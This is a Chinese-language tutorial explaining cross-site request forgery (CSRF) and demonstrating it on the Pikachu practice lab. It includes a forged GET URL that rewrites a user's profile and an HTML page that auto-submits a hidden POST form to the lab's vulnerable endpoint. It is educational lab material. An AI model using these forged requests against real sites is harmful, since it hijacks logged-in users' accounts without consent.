小场面

场景一：我点击了一个好友转发的qq空间消息，怎么莫名其妙自己也转发了？？？
场景二：我点击了一个不可描述的网页，然后自己的账号做了一些不可描述的操作？？？

CSRF简介

上面两个场面其实就是利用了 CSRF（Cross Site Request Forgery），即跨站请求伪造。攻击者在用户已经登录目标网站之后，诱使用户访问一个攻击页面，利用目标网站对用户的信任，以用户身份在攻击页面对目标网站发起伪造用户操作的请求，达到攻击目的。可以这么理解：攻击者盗用了你的身份，以你的名义进行某些不可描述的操作。

想象一下，它可以以你的名义发邮件、发消息、转账、修改密码、删除文章/留言/评论…….属实可恶！

CSRF 与 XSS 相比，虽然 CSRF 攻击不太流行，但却更加难以防范，所以被认为 CSRF 比 XSS 更具危险性，CSRF 在业内具有“苏醒的巨人”的称号。

CSRF原理

一般来说，用户完成以下两个操作，就有可能遭受CSRF攻击。

登录信任网站A，并在本地生成Cookie。
在不登出A的情况下，访问危险网站B。

CSRF测试

pikachu漏洞练习平台之CSRF

GET方式

① 用户甲登录信任网站，查看个人信息。

② 攻击者构造恶意的链接，并将其发送给用户甲。

通过抓包可见，修改个人信息后提交的请求方法是GET。

URL里面的四个参数都可以被修改，直接构造URL为：

1	http://192.168.101.66/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=x&phonenum=000000&add=Mars&email=123@123.com&submit=submit

③ 攻击者通过社工等手段引诱用户甲点击这个链接。如果用户甲此时登录状态或cookie/session没有过期，则他的信息就被修改了。

可以看到，个人信息内容按照恶意链接的设置被修改了，而用户甲仅点击了那个不明链接。

POST方式

① 同样，用户乙登录了他信任的网站，一切正常。

② 攻击者构造恶意的链接，并将其发送给用户乙。

抓包可见这次的请求方式是POST，URL不再显示修改参数，所以无法再使用上述办法（即通过URL来伪造请求）进行修改。

但可以自行创建一个恶意表单，让用户点击这个表单的URL，通过此表单向存在CSRF漏洞的页面去提交POST请求。

<!DOCTYPE html>
<html>
<head lang="en">
	<title>csrf_post</title>
	<script>
    window.onload = function() {
    document.getElementById("postsubmit").click();
  }
    </script>
</head>
<body>
       <form action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"  method="POST">
       	 <input type="text" name="sex" value="1"><br>
       	 <input type="hidden" name="phonenum" value="hacker"><br>
       	 <input type="hidden" name="add" value="china"><br>
       	 <input type="hidden" name="email" value="hacker"><br>
       	 <input id="postsubmit" type="submit" name="submit" value="submit" />
       </form>
</body>
</html>